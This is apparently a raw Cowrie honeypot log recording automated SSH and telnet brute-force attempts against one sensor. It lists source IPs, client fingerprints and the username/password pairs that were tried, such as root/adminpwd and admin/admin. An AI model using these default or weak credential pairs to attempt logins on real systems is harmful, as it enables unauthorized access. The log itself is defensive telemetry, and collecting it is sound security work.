{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:34:09.559273Z","src_ip":"152.32.238.146","session":"7518450da85b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"node","password":"test","message":"login attempt [node/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:34:09.644936Z","src_ip":"152.32.238.146","session":"7518450da85b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:34:10.659382Z","src_ip":"152.32.238.146","session":"7518450da85b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:34:17.274128Z","src_ip":"110.35.80.116","session":"36357a2f6746","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:34:17.329969Z","src_ip":"110.35.80.116","session":"36357a2f6746","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.24.47.94","src_port":40158,"dst_ip":"10.17.0.5","dst_port":22,"session":"ecdd69f208b9","protocol":"ssh","message":"New connection: 46.24.47.94:40158 (10.17.0.5:22) [session: ecdd69f208b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:34:18.530764Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:34:18.535427Z","src_ip":"46.24.47.94","session":"ecdd69f208b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:34:18.641578Z","src_ip":"46.24.47.94","session":"ecdd69f208b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234QWER!@#$","message":"login attempt [root/1234QWER!@#$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:34:19.098421Z","src_ip":"46.24.47.94","session":"ecdd69f208b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:34:20.207928Z","src_ip":"46.24.47.94","session":"ecdd69f208b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":37912,"dst_ip":"10.17.0.5","dst_port":23,"session":"82b1e79ce401","protocol":"telnet","message":"New connection: 104.245.105.2:37912 (10.17.0.5:23) [session: 82b1e79ce401]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:34:42.918665Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.238.146","src_port":36532,"dst_ip":"10.17.0.5","dst_port":22,"session":"4b6a0ddcea24","protocol":"ssh","message":"New connection: 152.32.238.146:36532 (10.17.0.5:22) [session: 4b6a0ddcea24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:34:53.972299Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:34:53.976918Z","src_ip":"152.32.238.146","session":"4b6a0ddcea24","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:34:53.995817Z","src_ip":"152.32.238.146","session":"4b6a0ddcea24","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"adminpwd","message":"login attempt [root/adminpwd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:34:54.069730Z","src_ip":"152.32.238.146","session":"4b6a0ddcea24","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:34:55.084245Z","src_ip":"152.32.238.146","session":"4b6a0ddcea24","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":58140,"dst_ip":"10.17.0.5","dst_port":23,"session":"1aacee5d0e0a","protocol":"telnet","message":"New connection: 104.245.105.2:58140 (10.17.0.5:23) [session: 1aacee5d0e0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:35:15.089230Z"}
{"eventid":"cowrie.session.closed","duration":32.319467306137085,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:35:15.237991Z","src_ip":"104.245.105.2","session":"82b1e79ce401","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.1792616844177246,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:35:15.268373Z","src_ip":"104.245.105.2","session":"1aacee5d0e0a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.24.47.94","src_port":57252,"dst_ip":"10.17.0.5","dst_port":22,"session":"668a50f1b71d","protocol":"ssh","message":"New connection: 46.24.47.94:57252 (10.17.0.5:22) [session: 668a50f1b71d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:35:16.746684Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:35:16.751905Z","src_ip":"46.24.47.94","session":"668a50f1b71d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:35:16.857838Z","src_ip":"46.24.47.94","session":"668a50f1b71d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Passwd123","message":"login attempt [root/Passwd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:35:17.318619Z","src_ip":"46.24.47.94","session":"668a50f1b71d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:35:18.429940Z","src_ip":"46.24.47.94","session":"668a50f1b71d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":50306,"dst_ip":"10.17.0.5","dst_port":23,"session":"c80b621ebe71","protocol":"telnet","message":"New connection: 20.123.41.163:50306 (10.17.0.5:23) [session: c80b621ebe71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:35:30.762486Z"}
{"eventid":"cowrie.session.closed","duration":0.9174785614013672,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:35:31.679852Z","src_ip":"20.123.41.163","session":"c80b621ebe71","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.238.146","src_port":36808,"dst_ip":"10.17.0.5","dst_port":22,"session":"57395599ad1f","protocol":"ssh","message":"New connection: 152.32.238.146:36808 (10.17.0.5:22) [session: 57395599ad1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:35:41.156805Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:35:41.162532Z","src_ip":"152.32.238.146","session":"57395599ad1f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:35:41.181358Z","src_ip":"152.32.238.146","session":"57395599ad1f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es","password":"root","message":"login attempt [es/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:35:41.265465Z","src_ip":"152.32.238.146","session":"57395599ad1f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:35:42.288728Z","src_ip":"152.32.238.146","session":"57395599ad1f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":38288,"dst_ip":"10.17.0.5","dst_port":23,"session":"b64debe9348c","protocol":"telnet","message":"New connection: 20.123.41.163:38288 (10.17.0.5:23) [session: b64debe9348c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:35:54.689125Z"}
{"eventid":"cowrie.session.closed","duration":3.4804306030273438,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:35:58.169431Z","src_ip":"20.123.41.163","session":"b64debe9348c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.181.97.77","src_port":23229,"dst_ip":"10.17.0.5","dst_port":23,"session":"8f5f41706908","protocol":"telnet","message":"New connection: 45.181.97.77:23229 (10.17.0.5:23) [session: 8f5f41706908]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:36:00.239482Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.52.61.49","src_port":46064,"dst_ip":"159.203.135.109","dst_port":23,"session":"2578a54d69e4","protocol":"telnet","message":"New connection: 37.52.61.49:46064 (159.203.135.109:23) [session: 2578a54d69e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:36:08.596684Z"}
{"eventid":"cowrie.session.closed","duration":13.01321005821228,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:36:13.252540Z","src_ip":"45.181.97.77","session":"8f5f41706908","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":54240,"dst_ip":"10.17.0.5","dst_port":23,"session":"5bb312f41a6e","protocol":"telnet","message":"New connection: 20.123.41.163:54240 (10.17.0.5:23) [session: 5bb312f41a6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:36:14.177977Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":50382,"dst_ip":"10.17.0.5","dst_port":23,"session":"a436fe8e7f54","protocol":"telnet","message":"New connection: 104.245.105.2:50382 (10.17.0.5:23) [session: a436fe8e7f54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:36:23.499851Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.238.146","src_port":39724,"dst_ip":"10.17.0.5","dst_port":22,"session":"dbe2c2cc3628","protocol":"ssh","message":"New connection: 152.32.238.146:39724 (10.17.0.5:22) [session: dbe2c2cc3628]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:36:25.301919Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:36:25.307193Z","src_ip":"152.32.238.146","session":"dbe2c2cc3628","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:36:25.322092Z","src_ip":"152.32.238.146","session":"dbe2c2cc3628","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"manager","message":"login attempt [admin/manager] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:36:25.406563Z","src_ip":"152.32.238.146","session":"dbe2c2cc3628","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:36:26.430328Z","src_ip":"152.32.238.146","session":"dbe2c2cc3628","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.189.177","src_port":46372,"dst_ip":"10.17.0.5","dst_port":22,"session":"43c66a9755ee","protocol":"ssh","message":"New connection: 209.99.189.177:46372 (10.17.0.5:22) [session: 43c66a9755ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:36:28.904544Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:36:28.910141Z","src_ip":"209.99.189.177","session":"43c66a9755ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:36:29.047442Z","src_ip":"209.99.189.177","session":"43c66a9755ee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu!@#123","message":"login attempt [ubuntu/ubuntu!@#123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:36:29.603236Z","src_ip":"209.99.189.177","session":"43c66a9755ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:36:30.737644Z","src_ip":"209.99.189.177","session":"43c66a9755ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":9.060731649398804,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:36:32.560437Z","src_ip":"104.245.105.2","session":"a436fe8e7f54","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.24.47.94","src_port":46128,"dst_ip":"10.17.0.5","dst_port":22,"session":"b4df9ee0bbac","protocol":"ssh","message":"New connection: 46.24.47.94:46128 (10.17.0.5:22) [session: b4df9ee0bbac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:36:33.929250Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:36:33.934854Z","src_ip":"46.24.47.94","session":"b4df9ee0bbac","protocol":"ssh"}
